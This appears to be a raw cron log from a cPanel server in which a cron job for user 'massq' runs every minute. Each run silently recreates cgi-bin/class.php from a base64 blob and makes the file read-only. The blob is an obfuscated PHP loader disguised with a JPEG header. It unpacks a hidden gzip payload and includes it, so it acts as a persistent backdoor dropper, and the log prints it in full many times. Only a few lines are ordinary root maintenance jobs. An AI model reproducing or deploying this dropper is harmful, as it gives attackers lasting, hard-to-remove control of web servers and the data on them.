Nov 15 17:12:01 server CROND[11776]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:12:01 server CROND[11777]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 17:13:01 server CROND[12038]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:14:01 server CROND[12387]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:15:01 server CROND[12661]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:15:01 server CROND[12662]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 17:15:01 server CROND[12663]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 17:16:01 server CROND[12964]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:17:01 server CROND[13225]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:18:01 server CROND[13478]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:19:01 server CROND[13741]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:20:01 server CROND[14100]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 17:20:01 server CROND[14102]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 17:20:01 server CROND[14103]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 17:20:01 server CROND[14101]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 17:20:01 server CROND[14107]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:21:01 server CROND[14429]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:22:01 server CROND[14701]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:23:01 server CROND[14957]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:24:01 server CROND[15219]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:25:01 server CROND[15581]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 17:25:01 server CROND[15582]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
